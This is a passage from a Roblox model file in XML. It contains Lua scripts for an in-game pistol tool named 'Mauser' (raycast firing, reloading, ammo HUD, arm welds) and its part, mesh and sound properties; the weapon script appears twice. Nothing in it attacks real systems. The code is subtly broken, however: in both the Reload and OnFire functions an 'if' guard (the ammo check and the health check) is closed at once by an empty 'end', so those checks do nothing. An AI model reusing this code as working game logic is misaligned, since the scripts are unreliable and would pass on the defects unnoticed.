-- Player specific convenience variables
local MyPlayer = nil
local MyCharacter = nil
local MyHumanoid = nil
local MyTorso = nil
local MyMouse = nil


local IconURL = Tool.TextureId  -- URL to the weapon icon asset

local DebrisService = game:GetService(&apos;Debris&apos;)
local PlayersService = game:GetService(&apos;Players&apos;)


local FireSound

local OnFireConnection = nil
local OnReloadConnection = nil

local DecreasedAimLastShot = false
local LastSpreadUpdate = time()

-- this is a dummy object that holds the flash made when the gun is fired
local FlashHolder = nil


local WorldToCellFunction = Workspace.Terrain.WorldToCellPreferSolid
local GetCellFunction = Workspace.Terrain.GetCell

function RayIgnoreCheck(hit, pos)
&#9;if hit then
&#9;&#9;if hit.Transparency &gt;= 1 or string.lower(hit.Name) == &quot;water&quot; or
&#9;&#9;&#9;&#9;hit.Name == &quot;Effect&quot; or hit.Name == &quot;Rocket&quot; or hit.Name == &quot;Bullet&quot; or
&#9;&#9;&#9;&#9;hit.Name == &quot;Handle&quot; or hit:IsDescendantOf(MyCharacter) then
&#9;&#9;&#9;return true
&#9;&#9;elseif hit:IsA(&apos;Terrain&apos;) and pos then
&#9;&#9;&#9;local cellPos = WorldToCellFunction(Workspace.Terrain, pos)
&#9;&#9;&#9;if cellPos then
&#9;&#9;&#9;&#9;local cellMat = GetCellFunction(Workspace.Terrain, cellPos.x, cellPos.y, cellPos.z)
&#9;&#9;&#9;&#9;if cellMat and cellMat == Enum.CellMaterial.Water then
&#9;&#9;&#9;&#9;&#9;return true
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
&#9;return false
end

-- @preconditions: vec should be a unit vector, and 0 &lt; rayLength &lt;= 1000
function RayCast(startPos, vec, rayLength)
&#9;local hitObject, hitPos = game.Workspace:FindPartOnRay(Ray.new(startPos + (vec * .01), vec * rayLength), Handle)
&#9;if hitObject and hitPos then
&#9;&#9;local distance = rayLength - (hitPos - startPos).magnitude
&#9;&#9;if RayIgnoreCheck(hitObject, hitPos) and distance &gt; 0 then
&#9;&#9;&#9;-- there is a chance here for potential infinite recursion
&#9;&#9;&#9;return RayCast(hitPos, vec, distance)
&#9;&#9;end
&#9;end
&#9;return hitObject, hitPos
end



function TagHumanoid(humanoid, player)
&#9;-- Add more tags here to customize what tags are available.
&#9;while humanoid:FindFirstChild(&apos;creator&apos;) do
&#9;&#9;humanoid:FindFirstChild(&apos;creator&apos;):Destroy()
&#9;end 
&#9;local creatorTag = Instance.new(&quot;ObjectValue&quot;)
&#9;creatorTag.Value = player
&#9;creatorTag.Name = &quot;creator&quot;
&#9;creatorTag.Parent = humanoid
&#9;DebrisService:AddItem(creatorTag, 1.5)

&#9;local weaponIconTag = Instance.new(&quot;StringValue&quot;)
&#9;weaponIconTag.Value = IconURL
&#9;weaponIconTag.Name = &quot;icon&quot;
&#9;weaponIconTag.Parent = creatorTag
end


local function CreateBullet(bulletPos)
&#9;local bullet = Instance.new(&apos;Part&apos;, Workspace)
&#9;bullet.FormFactor = Enum.FormFactor.Custom
&#9;bullet.Size = Vector3.new(0.1, 0.1, 0.1)
&#9;bullet.BrickColor = BrickColor.new(&quot;Black&quot;)
&#9;bullet.Shape = Enum.PartType.Block
&#9;bullet.CanCollide = false
&#9;bullet.CFrame = CFrame.new(bulletPos)
&#9;bullet.Anchored = true
&#9;bullet.TopSurface = Enum.SurfaceType.Smooth
&#9;bullet.BottomSurface = Enum.SurfaceType.Smooth
&#9;bullet.Name = &apos;Bullet&apos;
&#9;DebrisService:AddItem(bullet, 2.5)
&#9;return bullet
end

local function Reload()
&#9;if not Reloading then
&#9;&#9;Reloading = true
&#9;&#9;-- Don&apos;t reload if you are already full or have no extra ammo
&#9;&#9;if AmmoInClip ~= ClipSize and SpareAmmo &gt; 0 then
&#9;&#9;&#9;end
&#9;&#9;&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) then
&#9;&#9;&#9;&#9;if WeaponGui.Crosshair:FindFirstChild(&apos;ReloadingLabel&apos;) then
&#9;&#9;&#9;&#9;&#9;WeaponGui.Crosshair.ReloadingLabel.Visible = true
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;&#9;script.Parent.Handle.Reload:Play()
&#9;&#9;&#9;wait(ReloadTime)
&#9;&#9;&#9;-- Only use as much ammo as you have
&#9;&#9;&#9;local ammoToUse = math.min(ClipSize - AmmoInClip, SpareAmmo)
&#9;&#9;&#9;AmmoInClip = AmmoInClip + ammoToUse
&#9;&#9;&#9;SpareAmmo = SpareAmmo - ammoToUse
&#9;&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;&#9;&#9;WeaponGui.Reload.Visible = false
&#9;&#9;end
&#9;&#9;Reloading = false
end

function OnFire()
&#9;if IsShooting then return end
&#9;if MyHumanoid and MyHumanoid.Health &gt; 0 then
&#9;&#9;end
&#9;&#9;IsShooting = true
&#9;&#9;while LeftButtonDown and AmmoInClip &gt; 0 and not Reloading do
&#9;&#9;&#9;if Spread and not DecreasedAimLastShot then
&#9;&#9;&#9;&#9;Spread = math.min(MaxSpread, Spread + AimInaccuracyStepAmount)
&#9;&#9;&#9;&#9;UpdateCrosshair(Spread)
&#9;&#9;&#9;end
&#9;&#9;&#9;DecreasedAimLastShot = not DecreasedAimLastShot
&#9;&#9;&#9;if Handle:FindFirstChild(&apos;FireSound&apos;) then
&#9;&#9;&#9;&#9;Handle.FireSound:Play()
&#9;&#9;&#9;&#9;Handle.Flash.Enabled = true
&#9;&#9;&#9;end
&#9;&#9;&#9;if MyMouse then
&#9;&#9;&#9;&#9;local targetPoint = MyMouse.Hit.p
&#9;&#9;&#9;&#9;local shootDirection = (targetPoint - Handle.Position).unit
&#9;&#9;&#9;&#9;-- Adjust the shoot direction randomly off by a little bit to account for recoil
&#9;&#9;&#9;&#9;shootDirection = CFrame.Angles((0.5 - math.random()) * 2 * Spread,
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;(0.5 - math.random()) * 2 * Spread,
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;(0.5 - math.random()) * 2 * Spread) * shootDirection
&#9;&#9;&#9;&#9;local hitObject, bulletPos = RayCast(Handle.Position, shootDirection, Range)
&#9;&#9;&#9;&#9;local bullet
&#9;&#9;&#9;&#9;-- Create a bullet here
&#9;&#9;&#9;&#9;if hitObject then
&#9;&#9;&#9;&#9;&#9;bullet = CreateBullet(bulletPos)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;if hitObject and hitObject.Parent then
&#9;&#9;&#9;&#9;&#9;local hitHumanoid = hitObject.Parent:FindFirstChild(&quot;Humanoid&quot;)
&#9;&#9;&#9;&#9;&#9;if hitHumanoid then
&#9;&#9;&#9;&#9;&#9;&#9;local hitPlayer = game.Players:GetPlayerFromCharacter(hitHumanoid.Parent)
&#9;&#9;&#9;&#9;&#9;&#9;if MyPlayer.Neutral or (hitPlayer and hitPlayer.TeamColor ~= MyPlayer.TeamColor) then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;TagHumanoid(hitHumanoid, MyPlayer)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;hitHumanoid:TakeDamage(Damage)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;if bullet then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet:Destroy()
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet = nil
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;--bullet.Transparency = 1
&#9;&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;&#9;&#9;Spawn(UpdateTargetHit)
&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;end
&#9;
&#9;&#9;&#9;&#9;AmmoInClip = AmmoInClip - 1
&#9;&#9;&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;&#9;&#9;end
&#9;&#9;&#9;wait(FireRate)
&#9;&#9;&#9;OnMouseUp()
&#9;&#9;end
&#9;&#9;Handle.Flash.Enabled = false
&#9;&#9;IsShooting = false
&#9;&#9;if AmmoInClip == 0 then
&#9;&#9;&#9;Handle.Tick:Play()
&#9;&#9;&#9;WeaponGui.Reload.Visible = true
&#9;&#9;end
&#9;end

local TargetHits = 0
function UpdateTargetHit()
&#9;TargetHits = TargetHits + 1
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;TargetHitImage&apos;) then
&#9;&#9;WeaponGui.Crosshair.TargetHitImage.Visible = true
&#9;end
&#9;wait(0.5)
&#9;TargetHits = TargetHits - 1
&#9;if TargetHits == 0 and WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;TargetHitImage&apos;) then
&#9;&#9;WeaponGui.Crosshair.TargetHitImage.Visible = false
&#9;end
end

function UpdateCrosshair(value, mouse)
&#9;if WeaponGui then
&#9;&#9;local absoluteY = 650
&#9;&#9;WeaponGui.Crosshair:TweenSize(
&#9;&#9;&#9;UDim2.new(0, value * absoluteY * 2 + 23, 0, value * absoluteY * 2 + 23),
&#9;&#9;&#9;Enum.EasingDirection.Out,
&#9;&#9;&#9;Enum.EasingStyle.Linear,
&#9;&#9;&#9;0.33)
&#9;end
end

function UpdateAmmo(value)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;AmmoHud&apos;) and WeaponGui.AmmoHud:FindFirstChild(&apos;ClipAmmo&apos;) then
&#9;&#9;WeaponGui.AmmoHud.ClipAmmo.Text = AmmoInClip
&#9;&#9;if value &gt; 0 and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;ReloadingLabel&apos;) then
&#9;&#9;&#9;WeaponGui.Crosshair.ReloadingLabel.Visible = false
&#9;&#9;end
&#9;end
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;AmmoHud&apos;) and WeaponGui.AmmoHud:FindFirstChild(&apos;TotalAmmo&apos;) then
&#9;&#9;WeaponGui.AmmoHud.TotalAmmo.Text = SpareAmmo
&#9;end
end


function OnMouseDown()
&#9;LeftButtonDown = true
&#9;OnFire()
end

function OnMouseUp()
&#9;LeftButtonDown = false
end

function OnKeyDown(key)
&#9;if string.lower(key) == &apos;r&apos; then
&#9;&#9;Reload()
&#9;end
end


function OnEquipped(mouse)
&#9;Handle.EquipSound:Play()
&#9;FireSound  = WaitForChild(Handle, &apos;FireSound&apos;)

&#9;MyCharacter = Tool.Parent
&#9;MyPlayer = game:GetService(&apos;Players&apos;):GetPlayerFromCharacter(MyCharacter)
&#9;MyHumanoid = MyCharacter:FindFirstChild(&apos;Humanoid&apos;)
&#9;MyTorso = MyCharacter:FindFirstChild(&apos;Torso&apos;)
&#9;MyMouse = mouse
&#9;WeaponGui = WaitForChild(Tool, &apos;WeaponHud&apos;):Clone()
&#9;if WeaponGui and MyPlayer then
&#9;&#9;WeaponGui.Parent = MyPlayer.PlayerGui
&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;end

&#9;if MyMouse then
&#9;&#9;-- Disable mouse icon
&#9;&#9;MyMouse.Icon = &quot;http://www.roblox.com/asset/?id=18662154&quot;
&#9;&#9;MyMouse.Button1Down:connect(OnMouseDown)
&#9;&#9;MyMouse.Button1Up:connect(OnMouseUp)
&#9;&#9;MyMouse.KeyDown:connect(OnKeyDown)
&#9;end
end


-- Unequip logic here
function OnUnequipped()
&#9;LeftButtonDown = false
&#9;Reloading = false
&#9;MyCharacter = nil
&#9;MyHumanoid = nil
&#9;MyTorso = nil
&#9;MyPlayer = nil
&#9;MyMouse = nil
&#9;if OnFireConnection then
&#9;&#9;OnFireConnection:disconnect()
&#9;end
&#9;if OnReloadConnection then
&#9;&#9;OnReloadConnection:disconnect()
&#9;end
&#9;if FlashHolder then
&#9;&#9;FlashHolder = nil
&#9;end
&#9;if WeaponGui then
&#9;&#9;WeaponGui.Parent = nil
&#9;&#9;WeaponGui = nil
&#9;end
end

local function SetReticleColor(color)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) then
&#9;&#9;for _, line in pairs(WeaponGui.Crosshair:GetChildren()) do
&#9;&#9;&#9;if line:IsA(&apos;Frame&apos;) then
&#9;&#9;&#9;&#9;line.BorderColor3 = color
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
end


Tool.Equipped:connect(OnEquipped)
Tool.Unequipped:connect(OnUnequipped)

while true do
&#9;wait(0.033)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and MyMouse then
&#9;&#9;WeaponGui.Crosshair.Position = UDim2.new(0, MyMouse.X, 0, MyMouse.Y)
&#9;&#9;SetReticleColor(NeutralReticleColor)

&#9;&#9;local target = MyMouse.Target
&#9;&#9;if target and target.Parent then
&#9;&#9;&#9;local player = PlayersService:GetPlayerFromCharacter(target.Parent)
&#9;&#9;&#9;if player then
&#9;&#9;&#9;&#9;if MyPlayer.Neutral or player.TeamColor ~= MyPlayer.TeamColor then
&#9;&#9;&#9;&#9;&#9;SetReticleColor(EnemyReticleColor)
&#9;&#9;&#9;&#9;else
&#9;&#9;&#9;&#9;&#9;SetReticleColor(FriendlyReticleColor)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
&#9;if Spread and not IsShooting then
&#9;&#9;local currTime = time()
&#9;&#9;if currTime - LastSpreadUpdate &gt; FireRate * 2 then
&#9;&#9;&#9;LastSpreadUpdate = currTime
&#9;&#9;&#9;Spread = math.max(MinSpread, Spread - AimInaccuracyStepAmount)
&#9;&#9;&#9;UpdateCrosshair(Spread, MyMouse)
&#9;&#9;end
&#9;end
end
</ProtectedString>
				</Properties>
			</Item>
		</Item>
		<Item class="Tool" referent="RBX5110">
			<Properties>
				<bool name="CanBeDropped">false</bool>
				<bool name="Enabled">true</bool>
				<CoordinateFrame name="Grip">
					<X>0</X>
					<Y>-0.300000012</Y>
					<Z>-0.600000024</Z>
					<R00>0.949628532</R00>
					<R01>0</R01>
					<R02>0.313377768</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-0.313377768</R20>
					<R21>0</R21>
					<R22>0.949628532</R22>
				</CoordinateFrame>
				<string name="Name">Mauser</string>
				<Content name="TextureId"><url>http://www.roblox.com/asset/?id=122080032</url></Content>
				<string name="ToolTip">Mauser 96</string>
			</Properties>
			<Item class="Part" referent="RBX5111">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">26</int>
					<CoordinateFrame name="CFrame">
						<X>-17.3000011</X>
						<Y>-68.5</Y>
						<Z>23.9000015</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">true</bool>
					<token name="Material">256</token>
					<string name="Name">Handle</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="formFactorRaw">3</token>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>0.200000003</X>
						<Y>1.18000245</Y>
						<Z>3.34999704</Z>
					</Vector3>
				</Properties>
				<Item class="SpecialMesh" referent="RBX5112">
					<Properties>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<Content name="MeshId"><url>http://www.roblox.com/asset/?id=97889473</url></Content>
						<token name="MeshType">5</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>2</X>
							<Y>2</Y>
							<Z>2</Z>
						</Vector3>
						<Content name="TextureId"><null></null></Content>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5113">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">FireSound</string>
						<float name="Pitch">0.899999976</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=95309366</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5114">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Reload</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=2697432</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5115">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">EquipSound</string>
						<float name="Pitch">1.39999998</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=10209881</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="PointLight" referent="RBX5116">
					<Properties>
						<float name="Brightness">1.5</float>
						<Color3 name="Color">4294967040</Color3>
						<bool name="Enabled">false</bool>
						<string name="Name">Flash</string>
						<float name="Range">8</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5117">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Tick</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds//clickfast.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
			</Item>
			<Item class="Script" referent="RBX5118">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">WeldArm</string>
					<ProtectedString name="Source">Tool = script.Parent;
local arms = nil
local torso = nil
local welds = {}

function Equip(mouse)
wait(0.01)
arms = {Tool.Parent:FindFirstChild(&quot;Left Arm&quot;), Tool.Parent:FindFirstChild(&quot;Right Arm&quot;)}
torso = Tool.Parent:FindFirstChild(&quot;Torso&quot;)
if arms ~= nil and torso ~= nil then
local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
if sh ~= nil then
local yes = true
if yes then
yes = false
sh[1].Part1 = nil
sh[2].Part1 = nil
local weld1 = Instance.new(&quot;Weld&quot;)
weld1.Part0 = torso
weld1.Parent = torso
weld1.Part1 = arms[1]
weld1.C1 = CFrame.new(-0.5, 0.9, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0, math.rad(-90))
welds[1] = weld1
local weld2 = Instance.new(&quot;Weld&quot;)
weld2.Part0 = torso
weld2.Parent = torso
weld2.Part1 = arms[2]
weld2.C1 = CFrame.new(-1, 0.6, 0.5) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-20), 0)
welds[2] = weld2
end
else
print(&quot;sh&quot;)
end
else
print(&quot;arms&quot;)
end
end

function Unequip(mouse)
if arms ~= nil and torso ~= nil then
local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
if sh ~= nil then
local yes = true
if yes then
yes = false
sh[1].Part1 = arms[1]
sh[2].Part1 = arms[2]
welds[1].Parent = nil
welds[2].Parent = nil
end
else
print(&quot;sh&quot;)
end
else
print(&quot;arms&quot;)
end
end
Tool.Equipped:connect(Equip)
Tool.Unequipped:connect(Unequip)
</ProtectedString>
				</Properties>
			</Item>
			<Item class="LocalScript" referent="RBX5119">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Mauser</string>
					<ProtectedString name="Source">--------------------- TEMPLATE ASSAULT RIFLE WEAPON ---------------------------
-- Waits for the child of the specified parent
local function WaitForChild(parent, childName)
&#9;while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end
&#9;return parent[childName]
end

----- MAGIC NUMBERS ABOUT THE TOOL -----
-- How much damage a bullet does
local Damage = 18
-- How many times per second the gun can fire
local FireRate = 1 / 6
-- The maximum distance the can can shoot, this value should never go above 1000
local Range = 350
-- In radians the minimum accuracy penalty
local MinSpread = 0.01
-- In radian the maximum accuracy penalty
local MaxSpread = 0.07
-- Number of bullets in a clip
local ClipSize = 10
-- DefaultValue for spare ammo
local SpareAmmo = 100
-- The amount the aim will increase or decrease by
-- decreases this number reduces the speed that recoil takes effect
local AimInaccuracyStepAmount = .06
-- Time it takes to reload weapon
local ReloadTime = 2
----------------------------------------

-- Colors
local FriendlyReticleColor = Color3.new(0, 1, 0)
local EnemyReticleColor&#9;= Color3.new(1, 0, 0)
local NeutralReticleColor&#9;= Color3.new(1, 1, 1)

local Spread = MinSpread
local AmmoInClip = ClipSize

local Tool = script.Parent
local Handle = WaitForChild(Tool, &apos;Handle&apos;)
local WeaponGui = nil

local LeftButtonDown
local Reloading = false
local IsShooting = false

-- Player specific convenience variables
local MyPlayer = nil
local MyCharacter = nil
local MyHumanoid = nil
local MyTorso = nil
local MyMouse = nil


local IconURL = Tool.TextureId  -- URL to the weapon icon asset

local DebrisService = game:GetService(&apos;Debris&apos;)
local PlayersService = game:GetService(&apos;Players&apos;)


local FireSound

local OnFireConnection = nil
local OnReloadConnection = nil

local DecreasedAimLastShot = false
local LastSpreadUpdate = time()

-- this is a dummy object that holds the flash made when the gun is fired
local FlashHolder = nil


local WorldToCellFunction = Workspace.Terrain.WorldToCellPreferSolid
local GetCellFunction = Workspace.Terrain.GetCell

function RayIgnoreCheck(hit, pos)
&#9;if hit then
&#9;&#9;if hit.Transparency &gt;= 1 or string.lower(hit.Name) == &quot;water&quot; or
&#9;&#9;&#9;&#9;hit.Name == &quot;Effect&quot; or hit.Name == &quot;Rocket&quot; or hit.Name == &quot;Bullet&quot; or
&#9;&#9;&#9;&#9;hit.Name == &quot;Handle&quot; or hit:IsDescendantOf(MyCharacter) then
&#9;&#9;&#9;return true
&#9;&#9;elseif hit:IsA(&apos;Terrain&apos;) and pos then
&#9;&#9;&#9;local cellPos = WorldToCellFunction(Workspace.Terrain, pos)
&#9;&#9;&#9;if cellPos then
&#9;&#9;&#9;&#9;local cellMat = GetCellFunction(Workspace.Terrain, cellPos.x, cellPos.y, cellPos.z)
&#9;&#9;&#9;&#9;if cellMat and cellMat == Enum.CellMaterial.Water then
&#9;&#9;&#9;&#9;&#9;return true
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
&#9;return false
end

-- @preconditions: vec should be a unit vector, and 0 &lt; rayLength &lt;= 1000
function RayCast(startPos, vec, rayLength)
&#9;local hitObject, hitPos = game.Workspace:FindPartOnRay(Ray.new(startPos + (vec * .01), vec * rayLength), Handle)
&#9;if hitObject and hitPos then
&#9;&#9;local distance = rayLength - (hitPos - startPos).magnitude
&#9;&#9;if RayIgnoreCheck(hitObject, hitPos) and distance &gt; 0 then
&#9;&#9;&#9;-- there is a chance here for potential infinite recursion
&#9;&#9;&#9;return RayCast(hitPos, vec, distance)
&#9;&#9;end
&#9;end
&#9;return hitObject, hitPos
end



function TagHumanoid(humanoid, player)
&#9;-- Add more tags here to customize what tags are available.
&#9;while humanoid:FindFirstChild(&apos;creator&apos;) do
&#9;&#9;humanoid:FindFirstChild(&apos;creator&apos;):Destroy()
&#9;end 
&#9;local creatorTag = Instance.new(&quot;ObjectValue&quot;)
&#9;creatorTag.Value = player
&#9;creatorTag.Name = &quot;creator&quot;
&#9;creatorTag.Parent = humanoid
&#9;DebrisService:AddItem(creatorTag, 1.5)

&#9;local weaponIconTag = Instance.new(&quot;StringValue&quot;)
&#9;weaponIconTag.Value = IconURL
&#9;weaponIconTag.Name = &quot;icon&quot;
&#9;weaponIconTag.Parent = creatorTag
end


local function CreateBullet(bulletPos)
&#9;local bullet = Instance.new(&apos;Part&apos;, Workspace)
&#9;bullet.FormFactor = Enum.FormFactor.Custom
&#9;bullet.Size = Vector3.new(0.1, 0.1, 0.1)
&#9;bullet.BrickColor = BrickColor.new(&quot;Black&quot;)
&#9;bullet.Shape = Enum.PartType.Block
&#9;bullet.CanCollide = false
&#9;bullet.CFrame = CFrame.new(bulletPos)
&#9;bullet.Anchored = true
&#9;bullet.TopSurface = Enum.SurfaceType.Smooth
&#9;bullet.BottomSurface = Enum.SurfaceType.Smooth
&#9;bullet.Name = &apos;Bullet&apos;
&#9;DebrisService:AddItem(bullet, 2.5)
&#9;return bullet
end

local function Reload()
&#9;if not Reloading then
&#9;&#9;Reloading = true
&#9;&#9;-- Don&apos;t reload if you are already full or have no extra ammo
&#9;&#9;if AmmoInClip ~= ClipSize and SpareAmmo &gt; 0 then
&#9;&#9;&#9;end
&#9;&#9;&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) then
&#9;&#9;&#9;&#9;if WeaponGui.Crosshair:FindFirstChild(&apos;ReloadingLabel&apos;) then
&#9;&#9;&#9;&#9;&#9;WeaponGui.Crosshair.ReloadingLabel.Visible = true
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;&#9;script.Parent.Handle.Reload:Play()
&#9;&#9;&#9;wait(ReloadTime)
&#9;&#9;&#9;-- Only use as much ammo as you have
&#9;&#9;&#9;local ammoToUse = math.min(ClipSize - AmmoInClip, SpareAmmo)
&#9;&#9;&#9;AmmoInClip = AmmoInClip + ammoToUse
&#9;&#9;&#9;SpareAmmo = SpareAmmo - ammoToUse
&#9;&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;&#9;&#9;WeaponGui.Reload.Visible = false
&#9;&#9;end
&#9;&#9;Reloading = false
end

function OnFire()
&#9;if IsShooting then return end
&#9;if MyHumanoid and MyHumanoid.Health &gt; 0 then
&#9;&#9;end
&#9;&#9;IsShooting = true
&#9;&#9;while LeftButtonDown and AmmoInClip &gt; 0 and not Reloading do
&#9;&#9;&#9;if Spread and not DecreasedAimLastShot then
&#9;&#9;&#9;&#9;Spread = math.min(MaxSpread, Spread + AimInaccuracyStepAmount)
&#9;&#9;&#9;&#9;UpdateCrosshair(Spread)
&#9;&#9;&#9;end
&#9;&#9;&#9;DecreasedAimLastShot = not DecreasedAimLastShot
&#9;&#9;&#9;if Handle:FindFirstChild(&apos;FireSound&apos;) then
&#9;&#9;&#9;&#9;Handle.FireSound:Play()
&#9;&#9;&#9;&#9;Handle.Flash.Enabled = true
&#9;&#9;&#9;end
&#9;&#9;&#9;if MyMouse then
&#9;&#9;&#9;&#9;local targetPoint = MyMouse.Hit.p
&#9;&#9;&#9;&#9;local shootDirection = (targetPoint - Handle.Position).unit
&#9;&#9;&#9;&#9;-- Adjust the shoot direction randomly off by a little bit to account for recoil
&#9;&#9;&#9;&#9;shootDirection = CFrame.Angles((0.5 - math.random()) * 2 * Spread,
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;(0.5 - math.random()) * 2 * Spread,
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;(0.5 - math.random()) * 2 * Spread) * shootDirection
&#9;&#9;&#9;&#9;local hitObject, bulletPos = RayCast(Handle.Position, shootDirection, Range)
&#9;&#9;&#9;&#9;local bullet
&#9;&#9;&#9;&#9;-- Create a bullet here
&#9;&#9;&#9;&#9;if hitObject then
&#9;&#9;&#9;&#9;&#9;bullet = CreateBullet(bulletPos)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;if hitObject and hitObject.Parent then
&#9;&#9;&#9;&#9;&#9;local hitHumanoid = hitObject.Parent:FindFirstChild(&quot;Humanoid&quot;)
&#9;&#9;&#9;&#9;&#9;if hitHumanoid then
&#9;&#9;&#9;&#9;&#9;&#9;local hitPlayer = game.Players:GetPlayerFromCharacter(hitHumanoid.Parent)
&#9;&#9;&#9;&#9;&#9;&#9;if MyPlayer.Neutral or (hitPlayer and hitPlayer.TeamColor ~= MyPlayer.TeamColor) then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;TagHumanoid(hitHumanoid, MyPlayer)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;hitHumanoid:TakeDamage(Damage)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;if bullet then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet:Destroy()
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet = nil
